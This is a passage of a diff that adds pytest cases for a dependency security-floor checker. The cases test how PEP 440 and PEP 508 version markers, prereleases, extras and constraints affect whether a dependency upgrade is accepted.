+ base_lock_optional_dependencies=optional,
+ head_lock_optional_dependencies=optional,
+ )
+ assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ ("addition", "accepted"),
+ [
+ pytest.param("sniffio[feature]>=1,<3", True, id="optional-extra-may-repeat-reviewed-runtime-bounds"),
+ pytest.param("sniffio[feature]>=1,<2", False, id="optional-extra-cannot-narrow-reviewed-runtime-bounds"),
+ ],
+)
+def test_optional_requested_extras_preserve_existing_runtime_bounds(
+ tmp_path: Path, addition: str, accepted: bool
+) -> None:
+ optional: dict[tuple[str, str], dict[str, list[dict[str, object]]]] = {("sniffio", "1.5"): {"feature": []}}
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=["patch-me>=1", "sniffio>=1,<3"],
+ head_requirements=["patch-me>=1.1", "sniffio>=1,<3"],
+ base_packages=[("patch-me", "1"), ("sniffio", "1.5")],
+ head_packages=[("patch-me", "1.1"), ("sniffio", "1.5")],
+ head_optional_groups={"feature": [addition]},
+ base_lock_optional_dependencies=optional,
+ head_lock_optional_dependencies=optional,
+ )
+ assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ ("previous_marker", "requested_marker", "accepted"),
+ [
+ pytest.param(
+ "python_version ~= '3.10'",
+ "python_version ~= '3.10'",
+ True,
+ id="compatible-marker-preserves-previously-published-extra-audience",
+ ),
+ pytest.param(
+ "python_version === '3.10'",
+ "python_version === '3.10'",
+ True,
+ id="arbitrary-equality-preserves-previously-published-extra-audience",
+ ),
+ pytest.param(
+ "python_version ~= '3.10'",
+ "python_version ~= '4.0'",
+ False,
+ id="compatible-extra-marker-cannot-expose-unreviewed-major",
+ ),
+ pytest.param(
+ "python_version === '3.10'",
+ "python_version === '3.11'",
+ False,
+ id="arbitrary-equality-extra-marker-cannot-expose-unreviewed-minor",
+ ),
+ ],
+)
+def test_new_extra_reachability_compares_pep508_version_marker_audiences(
+ tmp_path: Path, previous_marker: str, requested_marker: str, accepted: bool
+) -> None:
+ previous = [("existing-parent", "1"), ("parent", "1"), ("plugin", "1")]
+ edges: dict[tuple[str, str], list[dict[str, object]]] = {
+ ("existing-parent", "1"): [{"name": "plugin", "marker": previous_marker}]
+ }
+ optional: dict[tuple[str, str], dict[str, list[dict[str, object]]]] = {
+ ("parent", "1"): {"feature": [{"name": "plugin"}]}
+ }
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=["patch-me>=1", "existing-parent", "parent"],
+ head_requirements=[
+ "patch-me>=1.1",
+ "existing-parent",
+ "parent",
+ "parent[feature]; " + requested_marker,
+ ],
+ base_packages=[("patch-me", "1"), *previous],
+ head_packages=[("patch-me", "1.1"), *previous],
+ base_lock_dependencies=edges,
+ head_lock_dependencies=edges,
+ base_lock_optional_dependencies=optional,
+ head_lock_optional_dependencies=optional,
+ )
+ assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ ("variable", "compatible", "release"),
+ [
+ pytest.param("platform_release", "6.8", "6.9", id="two-component-compatible-range-keeps-next-minor"),
+ pytest.param("platform_release", "6.8", "7.0", id="two-component-compatible-range-rejects-next-major"),
+ pytest.param("platform_release", "6.8.0", "6.8.9", id="three-component-compatible-range-keeps-next-patch"),
+ pytest.param("platform_release", "6.8.0", "6.9", id="three-component-compatible-range-rejects-next-minor"),
+ pytest.param("platform_release", "6.8.0.1", "6.8.0.1", id="four-component-compatible-range-keeps-lower-bound"),
+ pytest.param("platform_release", "6.8.0.1", "6.8.0.2", id="four-component-compatible-range-keeps-next-build"),
+ pytest.param("platform_release", "6.8.0.1", "6.8.1", id="four-component-compatible-range-rejects-next-patch"),
+ pytest.param(
+ "platform_release", "6.8.0.1", "6.8.1a1", id="four-component-compatible-range-rejects-next-patch-alpha"
+ ),
+ pytest.param(
+ "platform_release", "6.8.0.1", "6.8.1.dev1", id="four-component-compatible-range-rejects-next-patch-dev"
+ ),
+ pytest.param(
+ "platform_release", "6.8.0.1.2", "6.8.0.1.3", id="five-component-compatible-range-keeps-next-build"
+ ),
+ pytest.param(
+ "platform_release", "6.8.0.1.2", "6.8.0.2", id="five-component-compatible-range-rejects-next-build-series"
+ ),
+ pytest.param(
+ "platform_release", "6.8.0.1.0", "6.8.0.1.9", id="trailing-zero-compatible-range-preserves-precision"
+ ),
+ pytest.param(
+ "platform_release", "6.8.0.1.0", "6.8.0.2", id="trailing-zero-compatible-range-rejects-next-series"
+ ),
+ pytest.param(
+ "platform_release", "06.008.000.001", "6.8.0.2", id="compatible-range-normalizes-release-leading-zeroes"
+ ),
+ pytest.param("platform_release", "6.8.0.1a1", "6.8.0.1a2", id="compatible-alpha-range-keeps-later-alpha"),
+ pytest.param("platform_release", "6.8.0.1a1", "6.8.0.1b1", id="compatible-alpha-range-keeps-later-beta"),
+ pytest.param("platform_release", "6.8.0.1a1", "6.8.0.2", id="compatible-alpha-range-keeps-next-build"),
+ pytest.param("platform_release", "6.8.0.1a1", "6.8.1a1", id="compatible-alpha-range-rejects-next-series"),
+ pytest.param("platform_release", "6.8.0.1.post2", "6.8.0.1.post1", id="compatible-post-range-rejects-old-post"),
+ pytest.param("platform_release", "6.8.0.1.post2", "6.8.0.1.post3", id="compatible-post-range-keeps-later-post"),
+ pytest.param("platform_release", "6.8.0.1.post2", "6.8.0.2", id="compatible-post-range-keeps-next-build"),
+ pytest.param("platform_release", "6.8.0.1.dev2", "6.8.0.1.dev1", id="compatible-dev-range-rejects-earlier-dev"),
+ pytest.param("platform_release", "6.8.0.1.dev2", "6.8.0.1a1", id="compatible-dev-range-keeps-alpha"),
+ pytest.param("platform_release", "6.8.0.1.dev2", "6.8.0.1", id="compatible-dev-range-keeps-final"),
+ pytest.param(
+ "platform_release", "6.8.0.1a1.post2.dev1", "6.8.0.1a1.post2", id="compatible-combined-suffix-range"
+ ),
+ pytest.param(
+ "python_full_version", "3.10.0.1", "3.10.0.2", id="full-python-version-supports-four-component-range"
+ ),
+ pytest.param(
+ "python_full_version", "3.10.0.1", "3.10.1", id="full-python-version-preserves-four-component-ceiling"
+ ),
+ pytest.param(
+ "python_full_version", "3.10.0.1.2", "3.10.0.1.3", id="full-python-version-supports-five-component-range"
+ ),
+ pytest.param(
+ "implementation_version", "3.10.0.1", "3.10.0.2", id="implementation-version-supports-four-component-range"
+ ),
+ pytest.param(
+ "implementation_version", "3.10.0.1", "3.10.1", id="implementation-version-preserves-four-component-ceiling"
+ ),
+ pytest.param("python_version", "3.10.0", "3.10", id="python-minor-compatible-range-projects-zero-micro"),
+ pytest.param("python_version", "3.10.0", "3.11", id="python-minor-compatible-range-preserves-micro-ceiling"),
+ pytest.param("python_version", "3.10.0.0", "3.10", id="python-minor-compatible-range-projects-zero-build"),
+ pytest.param("python_version", "3.10.0.1", "3.10", id="python-minor-compatible-range-rejects-nonzero-build"),
+ pytest.param("python_version", "3.10.1", "3.10", id="python-minor-compatible-range-rejects-nonzero-micro"),
+ pytest.param("python_version", "3.10.0a1", "3.10", id="python-minor-compatible-range-keeps-prerelease-floor"),
+ pytest.param("python_version", "3.10.0.post1", "3.10", id="python-minor-compatible-range-rejects-post-floor"),
+ pytest.param("python_version", "3.10.post1", "3.11", id="two-component-python-post-floor-keeps-next-minor"),
+ pytest.param("python_version", "3.10.post1", "3.10", id="two-component-python-post-floor-rejects-same-minor"),
+ ],
+)
+@pytest.mark.parametrize("protected", [False, True], ids=["published-direct", "protected-constraint"])
+def test_arbitrary_width_compatible_markers_match_packaging(
+ tmp_path: Path, variable: str, compatible: str, release: str, protected: bool
+) -> None:
+ marker = f"{variable} ~= '{compatible}'"
+ expected = Marker(marker).evaluate(environment={variable: release})
+ resolution = f"{variable} == '{release}'"
+ previous, updated = "danger>=1; " + marker, "danger>=2; " + marker
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=[] if protected else [previous],
+ head_requirements=[] if protected else [updated],
+ base_packages=[("danger", "1")],
+ head_packages=[("danger", "2")],
+ base_constraints=[previous] if protected else None,
+ head_constraints=[updated] if protected else None,
+ base_resolution_markers={("danger", "1"): [resolution]},
+ head_resolution_markers={("danger", "2"): [resolution]},
+ )
+ assert result.returncode == (0 if expected else 1), result.stdout + result.stderr
+
+
+@pytest.mark.parametrize("variable", ["python_full_version", "implementation_version"])
+@pytest.mark.parametrize(
+ ("operator", "operand", "release"),
+ [
+ pytest.param("==", "3.10.0.1", "3.10.0.1", id="wide-pep440-equality"),
+ pytest.param("!=", "3.10.0.1", "3.10.0.1", id="wide-pep440-inequality"),
+ pytest.param("<", "3.10.0.2", "3.10.0.1", id="wide-exclusive-ceiling"),
+ pytest.param("<=", "3.10.0.1", "3.10.0.1", id="wide-inclusive-ceiling"),
+ pytest.param(">", "3.10.0.1", "3.10.0.2", id="wide-exclusive-floor"),
+ pytest.param(">=", "3.10.0.1", "3.10.0.1", id="wide-inclusive-floor"),
+ pytest.param("~=", "3.10.0.1", "3.10.0.2", id="wide-compatible-range"),
+ pytest.param("===", "3.10.0", "3.10.0", id="canonical-raw-equality"),
+ pytest.param("===", "3.10.0", "3.10.1", id="canonical-raw-equality-rejects-other-patch"),
+ pytest.param("in", "3.10.0.1, 3.10.0.2", "3.10.0", id="wide-membership-retains-real-python-version"),
+ pytest.param("in", "3.10.0.1, 3.10.0.2", "3.10.3", id="wide-membership-rejects-other-python-version"),
+ pytest.param("not in", "3.10.0.1, 3.10.0.2", "3.10.0", id="wide-negative-membership-excludes-real-version"),
+ pytest.param("not in", "3.10.0.1, 3.10.0.2", "3.10.3", id="wide-negative-membership-keeps-other-version"),
+ pytest.param("in", "3.10.0.10", "3.10.0", id="wide-membership-preserves-canonical-raw-prefix"),
+ pytest.param("not in", "3.10.0.10", "3.10.0", id="wide-negative-membership-preserves-canonical-prefix"),
+ pytest.param("===", "3.10.0a1", "3.10.0a1", id="canonical-raw-prerelease-equality"),
+ pytest.param("in", "3.10.0.post1", "3.10.0.post1", id="canonical-postrelease-membership"),
+ pytest.param("not in", "3.10.0.dev1", "3.10.0.dev1", id="canonical-development-negative-membership"),
+ ],
+)
+@pytest.mark.parametrize("protected", [False, True], ids=["published-direct", "protected-constraint"])
+def test_arbitrary_width_python_marker_operators_match_packaging(
+ tmp_path: Path, variable: str, operator: str, operand: str, release: str, protected: bool
+) -> None:
+ marker = f"{variable} {operator} '{operand}'"
+ expected = Marker(marker).evaluate(environment={variable: release})
+ resolution = f"{variable} == '{release}'"
+ previous, updated = "danger>=1; " + marker, "danger>=2; " + marker
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=[] if protected else [previous],
+ head_requirements=[] if protected else [updated],
+ base_packages=[("danger", "1")],
+ head_packages=[("danger", "2")],
+ base_constraints=[previous] if protected else None,
+ head_constraints=[updated] if protected else None,
+ base_resolution_markers={("danger", "1"): [resolution]},
+ head_resolution_markers={("danger", "2"): [resolution]},
+ )
+ assert result.returncode == (0 if expected else 1), result.stdout + result.stderr
+
+
+@pytest.mark.parametrize("variable", ["python_full_version", "implementation_version"])
+@pytest.mark.parametrize(
+ "marker",
+ [
+ pytest.param("{variable} === '3.10.0.1'", id="wide-raw-equality-fails-closed"),
+ pytest.param(
+ "{variable} === '3.10.0' and {variable} === '3.10.0.0'",
+ id="distinct-raw-equality-aliases-cannot-share-a-normalized-witness",
+ ),
+ pytest.param(
+ "{variable} == '3.10.0a1' and {variable} in '3.10.0.0a1' and {variable} in '3.10.0a1'",
+ id="distinct-prerelease-membership-aliases-cannot-share-a-normalized-witness",
+ ),
+ pytest.param(
+ "{variable} === '3.10.0a1' and {variable} in '3.10.0.0a1'",
+ id="raw-prerelease-equality-cannot-use-a-normalized-membership-alias",
+ ),
+ ],
+)
+@pytest.mark.parametrize("protected", [False, True], ids=["published-direct", "protected-constraint"])
+def test_python_raw_marker_operators_cannot_merge_distinct_release_aliases(
+ tmp_path: Path, variable: str, marker: str, protected: bool
+) -> None:
+ expression = marker.format(variable=variable)
+ previous, updated = "danger>=1; " + expression, "danger>=2; " + expression
+ release = "3.10.0a1" if "a1" in expression else "3.10.0.1" if "3.10.0.1" in expression else "3.10.0"
+ resolution = f"{variable} == '{release}'"
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=[] if protected else [previous],
+ head_requirements=[] if protected else [updated],
+ base_packages=[("danger", "1")],
+ head_packages=[("danger", "2")],
+ base_constraints=[previous] if protected else None,
+ head_constraints=[updated] if protected else None,
+ base_resolution_markers={("danger", "1"): [resolution]},
+ head_resolution_markers={("danger", "2"): [resolution]},
+ )
+ assert result.returncode == 1, result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ ("variable", "compatible"),
+ [
+ pytest.param("platform_release", "6", id="single-component-compatible-operand-remains-invalid"),
+ pytest.param("platform_release", "1!6.8.0.1", id="unsupported-compatible-epoch-fails-closed"),
+ pytest.param("platform_release", "6.8.0.1+local", id="unsupported-compatible-local-version-fails-closed"),
+ pytest.param("platform_release", "6.8.1234567890.1", id="unbounded-compatible-release-component-fails-closed"),
+ pytest.param("platform_release", "6.8.0.1a1234567890", id="unbounded-compatible-alpha-serial-fails-closed"),
+ pytest.param(
+ "platform_release", "6.8.0.1.post1234567890", id="unbounded-compatible-postrelease-serial-fails-closed"
+ ),
+ pytest.param("platform_release", ".".join(["6"] * 33), id="unbounded-platform-compatible-width-fails-closed"),
+ pytest.param(
+ "python_full_version",
+ ".".join(["3", "10", *(["0"] * 31)]),
+ id="unbounded-python-compatible-width-fails-closed",
+ ),
+ pytest.param(
+ "implementation_version",
+ ".".join(["3", "10", *(["0"] * 31)]),
+ id="unbounded-implementation-compatible-width-fails-closed",
+ ),
+ ],
+)
+@pytest.mark.parametrize("protected", [False, True], ids=["published-direct", "protected-constraint"])
+def test_arbitrary_width_compatible_markers_preserve_fail_closed_bounds(
+ tmp_path: Path, variable: str, compatible: str, protected: bool
+) -> None:
+ marker = f"{variable} ~= '{compatible}'"
+ resolution = f"{variable} == '6.8.0.2'" if variable == "platform_release" else f"{variable} == '3.10.0'"
+ previous, updated = "danger>=1; " + marker, "danger>=2; " + marker
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=[] if protected else [previous],
+ head_requirements=[] if protected else [updated],
+ base_packages=[("danger", "1")],
+ head_packages=[("danger", "2")],
+ base_constraints=[previous] if protected else None,
+ head_constraints=[updated] if protected else None,
+ base_resolution_markers={("danger", "1"): [resolution]},
+ head_resolution_markers={("danger", "2"): [resolution]},
+ )
+ assert result.returncode == 1, result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ ("requirement_marker", "resolution_marker", "accepted"),
+ [
+ pytest.param(
+ "python_version ~= '3.10'",
+ "python_full_version == '3.11.4'",
+ True,
+ id="compatible-python-marker-includes-next-supported-minor",
+ ),
+ pytest.param(
+ "python_version ~= '3.10'",
+ "python_full_version == '4.0.1'",
+ False,
+ id="compatible-python-marker-rejects-next-major",
+ ),
+ pytest.param(
+ "python_version ~= '3.10'",
+ "python_full_version == '3.9.9'",
+ False,
+ id="compatible-python-marker-rejects-lower-minor",
+ ),
+ pytest.param(
+ "python_version === '3.10'",
+ "python_full_version == '3.10.4'",
+ True,
+ id="arbitrary-equality-python-marker-includes-exact-minor",
+ ),
+ pytest.param(
+ "python_version === '3.10'",
+ "python_full_version == '3.11.4'",
+ False,
+ id="arbitrary-equality-python-marker-excludes-other-minor",
+ ),
+ pytest.param(
+ "implementation_version ~= '3.10'",
+ "implementation_version == '3.11.4'",
+ True,
+ id="compatible-implementation-marker-includes-next-minor",
+ ),
+ pytest.param(
+ "implementation_version ~= '3.10'",
+ "implementation_version == '4.0.1'",
+ False,
+ id="compatible-implementation-marker-rejects-next-major",
+ ),
+ pytest.param(
+ "python_version >= '3.10'",
+ "python_full_version ~= '3.10.0'",
+ True,
+ id="compatible-resolution-marker-is-supported",
+ ),
+ pytest.param(
+ "python_version is '3.10'",
+ "python_full_version == '3.10.4'",
+ False,
+ id="raw-python-is-operator-is-not-a-pep508-marker",
+ ),
+ pytest.param(
+ "python_version is not '3.10'",
+ "python_full_version == '3.10.4'",
+ False,
+ id="raw-python-is-not-operator-is-not-a-pep508-marker",
+ ),
+ pytest.param(
+ "python_version >= '3.10'",
+ "python_full_version is '3.10.4'",
+ False,
+ id="raw-python-is-operator-is-rejected-in-resolution-marker",
+ ),
+ ],
+)
+@pytest.mark.parametrize("protected", [False, True], ids=["published-direct", "protected-constraint"])
+def test_pep508_compatible_and_arbitrary_equality_marker_operators(
+ tmp_path: Path, requirement_marker: str, resolution_marker: str, accepted: bool, protected: bool
+) -> None:
+ previous = "danger>=1; " + requirement_marker
+ updated = "danger>=2; " + requirement_marker
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=[] if protected else [previous],
+ head_requirements=[] if protected else [updated],
+ base_packages=[("danger", "1")],
+ head_packages=[("danger", "2")],
+ base_constraints=[previous] if protected else None,
+ head_constraints=[updated] if protected else None,
+ base_resolution_markers={("danger", "1"): [resolution_marker]},
+ head_resolution_markers={("danger", "2"): [resolution_marker]},
+ )
+ assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ ("requirement_marker", "resolution_marker", "accepted"),
+ [
+ pytest.param(
+ "python_full_version >= '3.15.0a1'",
+ "python_full_version == '3.15.0a1'",
+ True,
+ id="alpha-bound-includes-exact-prerelease",
+ ),
+ pytest.param(
+ "python_full_version >= '3.15.0a2'",
+ "python_full_version == '3.15.0a1'",
+ False,
+ id="alpha-bound-rejects-earlier-alpha",
+ ),
+ pytest.param(
+ "python_full_version >= '3.15.0a2'",
+ "python_full_version == '3.15.0b1'",
+ True,
+ id="alpha-precedes-beta",
+ ),
+ pytest.param(
+ "python_full_version >= '3.15.0b2'",
+ "python_full_version == '3.15.0a9'",
+ False,
+ id="beta-bound-rejects-alpha",
+ ),
+ pytest.param(
+ "python_full_version >= '3.15.0rc1'",
+ "python_full_version == '3.15.0b9'",
+ False,
+ id="release-candidate-bound-rejects-beta",
+ ),
+ pytest.param(
+ "python_full_version >= '3.15.0rc1'",
+ "python_full_version == '3.15.0'",
+ True,
+ id="release-candidate-precedes-final",
+ ),
+ pytest.param(
+ "python_full_version >= '3.15.0'",
+ "python_full_version == '3.15.0rc1'",
+ False,
+ id="final-bound-rejects-release-candidate",
+ ),
+ pytest.param(
+ "python_full_version < '3.15.0'",
+ "python_full_version == '3.15.0rc1'",
+ False,
+ id="exclusive-final-ceiling-excludes-matching-release-prereleases",
+ ),
+ pytest.param(
+ "python_full_version <= '3.15.0'",
+ "python_full_version == '3.15.0rc1'",
+ True,
+ id="inclusive-final-ceiling-includes-release-candidate",
+ ),
+ pytest.param(
+ "python_full_version > '3.15.0a1'",
+ "python_full_version == '3.15.0a2'",
+ True,
+ id="exclusive-alpha-bound-includes-later-alpha",
+ ),
+ pytest.param(
+ "python_full_version > '3.15.0a1'",
+ "python_full_version == '3.15.0a1.post1'",
+ False,
+ id="exclusive-alpha-bound-excludes-post-release-of-same-alpha",
+ ),
+ pytest.param(
+ "python_full_version > '3.15.0a1'",
+ "python_full_version == '3.15.0a1.post1.dev1'",
+ False,
+ id="exclusive-alpha-bound-excludes-development-build-of-same-alpha-post-release",
+ ),
+ pytest.param(
+ "python_full_version > '3.15.0b1'",
+ "python_full_version == '3.15.0b1.post2'",
+ False,
+ id="exclusive-beta-bound-excludes-post-release-of-same-beta",
+ ),
+ pytest.param(
+ "python_full_version > '3.15.0rc1'",
+ "python_full_version == '3.15.0rc1.post1'",
+ False,
+ id="exclusive-release-candidate-bound-excludes-post-release-of-same-candidate",
+ ),
+ pytest.param(
+ "implementation_version > '3.15.0a1'",
+ "implementation_version == '3.15.0a1.post1'",
+ False,
+ id="exclusive-implementation-alpha-bound-excludes-post-release-of-same-alpha",
+ ),
+ pytest.param(
+ "python_full_version > '3.15.0a1'",
+ "python_full_version == '3.15.0a2.dev1'",
+ True,
+ id="exclusive-alpha-bound-includes-development-build-of-next-alpha",
+ ),
+ pytest.param(
+ "python_full_version > '3.15.0a1.dev1'",
+ "python_full_version == '3.15.0a1.post1'",
+ True,
+ id="exclusive-alpha-development-bound-includes-post-release-of-later-alpha",
+ ),
+ pytest.param(
+ "python_full_version > '3.15.0a1.post1'",
+ "python_full_version == '3.15.0a1.post2'",
+ True,
+ id="exclusive-alpha-post-release-bound-includes-later-post-releases",
+ ),
+ pytest.param(
+ "python_full_version > '3.15.0a1.post1.dev1'",
+ "python_full_version == '3.15.0a1.post1'",
+ True,
+ id="exclusive-alpha-post-development-bound-includes-its-post-release",
+ ),
+ pytest.param(
+ "python_full_version < '3.15.0.post1'",
+ "python_full_version == '3.15.0.post1.dev1'",
+ False,
+ id="exclusive-post-release-ceiling-excludes-its-own-development-build",
+ ),
+ pytest.param(
+ "python_full_version < '3.15.0.post0'",
+ "python_full_version == '3.15.0.post0.dev0'",
+ False,
+ id="exclusive-first-post-release-ceiling-excludes-its-own-development-build",
+ ),
+ pytest.param(
+ "implementation_version < '3.15.0.post1'",
+ "implementation_version == '3.15.0.post1.dev1'",
+ False,
+ id="exclusive-implementation-post-ceiling-excludes-its-own-development-build",
+ ),
+ pytest.param(
+ "python_full_version <= '3.15.0.post1'",
+ "python_full_version == '3.15.0.post1.dev1'",
+ True,
+ id="inclusive-post-release-ceiling-retains-its-own-development-build",
+ ),
+ pytest.param(
+ "python_full_version < '3.15.0.post1'",
+ "python_full_version == '3.15.0.post0.dev1'",
+ True,
+ id="exclusive-post-release-ceiling-retains-earlier-post-development-builds",
+ ),
+ pytest.param(
+ "python_full_version < '3.15.0a1.post1'",
+ "python_full_version == '3.15.0a1.post1.dev1'",
+ True,
+ id="exclusive-prerelease-post-ceiling-retains-its-own-development-build",
+ ),
+ pytest.param(
+ "python_full_version < '3.15.0.post1.dev1'",
+ "python_full_version == '3.15.0.post1.dev0'",
+ True,
+ id="exclusive-post-development-ceiling-retains-earlier-development-build",
+ ),
+ pytest.param(
+ "python_full_version != '3.15.0a1'",
+ "python_full_version == '3.15.0a1'",
+ False,
+ id="alpha-exclusion-removes-exact-prerelease",
+ ),
+ pytest.param(
+ "python_full_version == '3.15.0a1'",
+ "python_full_version == '3.15.0b1'",
+ False,
+ id="exact-alpha-excludes-later-prerelease-stages",
+ ),
+ pytest.param(
+ "python_full_version == '3.15.0'",
+ "python_full_version == '3.15.0a1'",
+ False,
+ id="exact-final-excludes-alpha",
+ ),
+ pytest.param(
+ "python_full_version == '3.15.*'",
+ "python_full_version == '3.15.0a1'",
+ True,
+ id="wildcard-minor-includes-alpha",
+ ),
+ pytest.param(
+ "python_version == '3.15'",
+ "python_full_version == '3.15.0a1'",
+ True,
+ id="python-minor-projection-includes-alpha",
+ ),
+ pytest.param(
+ "python_version >= '3.15'",
+ "python_full_version == '3.15.0a1'",
+ True,
+ id="python-minor-floor-includes-alpha",
+ ),
+ pytest.param(
+ "python_version < '3.15'",
+ "python_full_version == '3.15.0a1'",
+ False,
+ id="python-minor-ceiling-excludes-alpha-from-that-minor",
+ ),
+ pytest.param(
+ "implementation_version >= '3.15.0a1'",
+ "implementation_version == '3.15.0b2'",
+ True,
+ id="implementation-version-preserves-prerelease-ordering",
+ ),
+ pytest.param(
+ "python_full_version ~= '3.15.0a1'",
+ "python_full_version == '3.15.0b2'",
+ True,
+ id="compatible-alpha-bound-includes-beta",
+ ),
+ pytest.param(
+ "python_full_version ~= '3.15.0a1'",
+ "python_full_version == '3.16.0a1'",
+ False,
+ id="compatible-alpha-bound-excludes-next-minor-alpha",
+ ),
+ pytest.param(
+ "python_full_version === '3.15.0a1'",
+ "python_full_version == '3.15.0a1'",
+ True,
+ id="arbitrary-equality-preserves-alpha",
+ ),
+ pytest.param(
+ "python_full_version in '3.15.0a1, 3.15.0b2'",
+ "python_full_version == '3.15.0a1'",
+ True,
+ id="membership-preserves-alpha",
+ ),
+ pytest.param(
+ "python_full_version not in '3.15.0a1, 3.15.0b2'",
+ "python_full_version == '3.15.0a1'",
+ False,
+ id="negative-membership-excludes-alpha",
+ ),
+ pytest.param(
+ "python_full_version in '3.15.0a1'",
+ "python_full_version == '3.15.0'",
+ True,
+ id="membership-retains-final-substring-of-alpha",
+ ),
+ pytest.param(
+ "python_full_version not in '3.15.0a1'",
+ "python_full_version == '3.15.0'",
+ False,
+ id="negative-membership-excludes-final-substring-of-alpha",
+ ),
+ pytest.param(
+ "python_full_version in '3.15.0a10'",
+ "python_full_version == '3.15.0a1'",
+ True,
+ id="membership-retains-shorter-alpha-serial-substring",
+ ),
+ pytest.param(
+ "python_full_version not in '3.15.0a10'",
+ "python_full_version == '3.15.0a1'",
+ False,
+ id="negative-membership-excludes-shorter-alpha-serial-substring",
+ ),
+ pytest.param(
+ "python_full_version >= '3.15.0z1'",
+ "python_full_version == '3.15.0a1'",
+ False,
+ id="unknown-prerelease-stage-fails-closed",
+ ),
+ pytest.param(
+ "python_full_version >= '3.15.0a'",
+ "python_full_version == '3.15.0a1'",
+ False,
+ id="missing-prerelease-serial-fails-closed",
+ ),
+ pytest.param(
+ "python_full_version >= '3.15.0.dev1'",
+ "python_full_version == '3.15.0a1'",
+ True,
+ id="development-prerelease-precedes-alpha",
+ ),
+ pytest.param(
+ "python_full_version >= '3.15.0.dev1'",
+ "python_full_version == '3.15.0.dev2'",
+ True,
+ id="development-prerelease-ordering-preserves-later-builds",
+ ),
+ pytest.param(
+ "python_full_version >= '3.15.0.dev2'",
+ "python_full_version == '3.15.0.dev1'",
+ False,
+ id="development-prerelease-floor-rejects-earlier-builds",
+ ),
+ pytest.param(
+ "python_full_version >= '3.15.0a1.dev2'",
+ "python_full_version == '3.15.0a1.dev3'",
+ True,
+ id="alpha-development-builds-retain-their-own-ordering",
+ ),
+ pytest.param(
+ "python_full_version >= '3.15.0.post1'",
+ "python_full_version == '3.15.0.post2'",
+ True,
+ id="post-release-floor-preserves-later-post-releases",
+ ),
+ pytest.param(
+ "python_full_version >= '3.15.0.post2'",
+ "python_full_version == '3.15.0.post1'",
+ False,
+ id="post-release-floor-rejects-earlier-post-releases",
+ ),
+ pytest.param(
+ "python_full_version >= '3.15.0.post1.dev2'",
+ "python_full_version == '3.15.0.post1'",
+ True,
+ id="post-development-build-precedes-its-post-release",
+ ),
+ pytest.param(
+ "python_full_version == '3.15.0'",
+ "python_full_version == '3.15.0.post1'",
+ False,
+ id="exact-final-release-cannot-admit-a-post-release",
+ ),
+ pytest.param(
+ "python_full_version > '3.15.0'",
+ "python_full_version == '3.15.0.post1'",
+ False,
+ id="exclusive-final-floor-cannot-admit-same-release-post-versions",
+ ),
+ pytest.param(
+ "implementation_version >= '3.15.0.post1'",
+ "implementation_version == '3.15.0.post2'",
+ True,
+ id="implementation-version-preserves-post-release-ordering",
+ ),
+ pytest.param(
+ "implementation_version >= '3.15.0.dev1'",
+ "implementation_version == '3.15.0a1'",
+ True,
+ id="implementation-development-release-precedes-alpha",
+ ),
+ pytest.param(
+ "python_version == '3.10.0'",
+ "python_full_version == '3.10.4'",
+ True,
+ id="three-component-python-version-projects-zero-micro-to-minor",
+ ),
+ pytest.param(
+ "python_version === '3.10'",
+ "python_version == '3.10'",
+ True,
+ id="raw-python-version-equality-retains-exact-two-component-value",
+ ),
+ pytest.param(
+ "python_version === '3.10.0'",
+ "python_version == '3.10'",
+ False,
+ id="raw-python-version-equality-rejects-extra-zero-component",
+ ),
+ pytest.param(
+ "python_version === '3.10.0'",
+ "python_full_version == '3.10.4'",
+ False,
+ id="raw-python-version-equality-cannot-use-normalized-full-version",
+ ),
+ pytest.param(
+ "python_version === '03.10'",
+ "python_version == '3.10'",
+ False,
+ id="raw-python-version-equality-rejects-zero-padded-components",
+ ),
+ pytest.param(
+ "python_version == '3.10.1'",
+ "python_full_version == '3.10.1'",
+ False,
+ id="python-version-nonzero-micro-does-not-falsely-match-minor",
+ ),
+ pytest.param(
+ "python_full_version in '3.15.0.dev1, 3.15.0.post2'",
+ "python_full_version == '3.15.0.dev1'",
+ True,
+ id="membership-retains-development-and-post-release-operands",
+ ),
+ pytest.param(
+ "python_full_version === '3.15.0.post2'",
+ "python_full_version == '3.15.0.post2'",
+ True,
+ id="arbitrary-equality-preserves-post-release-identities",
+ ),
+ pytest.param(
+ "python_full_version >= '3.15.0.post1'",
+ "python_full_version == '3.15.0a1'",
+ False,
+ id="post-release-floor-rejects-earlier-prerelease-stages",
+ ),
+ ],
+)
+@pytest.mark.parametrize("protected", [False, True], ids=["published-direct", "protected-constraint"])
+def test_prerelease_python_markers_preserve_pep440_security_domains(
+ tmp_path: Path, requirement_marker: str, resolution_marker: str, accepted: bool, protected: bool
+) -> None:
+ previous = "danger>=1; " + requirement_marker
+ updated = "danger>=2; " + requirement_marker
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=[] if protected else [previous],
+ head_requirements=[] if protected else [updated],
+ base_packages=[("danger", "1")],
+ head_packages=[("danger", "2")],
+ base_constraints=[previous] if protected else None,
+ head_constraints=[updated] if protected else None,
+ base_resolution_markers={("danger", "1"): [resolution_marker]},
+ head_resolution_markers={("danger", "2"): [resolution_marker]},
+ )
+ assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ ("resolution_marker", "protected_markers", "accepted"),
+ [
+ pytest.param(
+ "python_full_version >= '3.15.0a1'",
+ ["python_full_version >= '3.15.0'"],
+ False,
+ id="final-only-protection-cannot-hide-unprotected-prerelease-domain",
+ ),
+ pytest.param(
+ "python_version == '3.15'",
+ ["python_full_version >= '3.15.0'"],
+ False,
+ id="final-only-protection-cannot-hide-prerelease-minor-projection",
+ ),
+ pytest.param(
